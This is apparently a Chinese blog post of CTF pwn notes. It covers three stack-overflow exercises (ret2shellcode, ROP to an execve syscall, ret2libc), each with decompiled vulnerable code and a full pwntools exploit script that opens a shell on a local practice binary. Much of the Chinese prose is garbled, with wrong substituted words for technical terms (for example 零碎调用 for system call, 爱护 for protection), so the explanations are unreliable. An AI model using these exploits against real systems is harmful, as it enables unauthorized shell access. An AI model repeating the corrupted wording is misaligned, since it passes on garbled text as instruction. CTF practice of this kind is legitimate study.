共计 2132 个字符,预计需要花费 6 分钟才能阅读完成。
苦楚的一下午,好多简略问题因为脑子转不过去,节约了好多工夫。
当初开始总结记牢一下,ctf-wiki 大法好
1. 对于 shellcode
shellcode 是一段用于利用软件破绽而执行的代码,shellcode 为 16 进制之机械码,以其常常让攻击者取得 shell 而得名。
贴一个 题
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
emmmmm 用 checksec 查看后,啥爱护都没有
因为须要找到能够执行 shellcode 的中央(不能放 gets 的返回函数上),所以瞄准了 buf2。并且很“巧”是,有个 strncpy 函数。则能够布局栈从而让 bss 具备 shellcode
利用 pwndbg 的 vmmap,可知 buf2 的 bss 段具备如下的权限
则能够利用 gets 栈溢出跳转到 bss 处而后执行 shellcode 从而失去 shell
WA
from pwn import *
buf2_addr = 0x0804A080
sh = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
## 利用 pwn 结构一个 shellcode
payload = shellcode.ljust(108,'A') + p32(0) + p32(buf2_addr)
## 根本的溢出结构
sh.sendlineafter('No system for you this time !!!\n',payload)
sh.interactive()
2. 对于利用 ROPgadget
题
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
这次没有零碎调用函数了,得本人构建一个来取得 shell
该程序是 32 位,所以咱们须要使得
零碎调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也能够。第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
还有利用 int 80h
(如果为 64 位)
零碎调用号不同
应用 syscall 调用指令
调用号传入 rax,其余顺次为 rdi,rsi,rdx 的程序写入寄存器
利用工具 ROPgadget 能够取得很多的小 gadget 来造成一条 rop 链
之后布局栈即可
留神函数调用中参数的地位
WA
from pwn import *
sh = process("./rop")
pop_eax_addr = 0x080bb196
##pop eax 的 rop 地址 上面相似
pop_edx_ecx_ebx_addr = 0x0806eb90
binsh_addr = 0x080be408
int_addr = 0x08049421
payload = flat(['a'*108+p32(0),pop_eax_addr,0xb,pop_edx_ecx_ebx_addr,0,0,binsh_addr,int_addr])
##execve("/bin/sh",NULL,NULL)
sh.sendline(payload)
sh.interactive()
3. 存在 system 然而参数不对
须要本人去结构一个正确能失去 shell 的参数
题
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
检查一下爱护机制
查看 ida,发现有 system 函数,然而参数不对。
- 查找 @plt 中 system 的地址
- 用 ROPgadget 查找 bin/sh
- 记得在两头轻易加点货色(用来代替失常调用被调函数时保留的主调函数的地位)
WA
from pwn import *
sh = process('./ret2libc1')
## 别离能够 ROPgadget 和 ida 失去
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
## 利用 gets 的溢出
sh.sendline(payload)
sh.interactive()
剩下的今天持续哈哈哈哈哈哈哈
正文完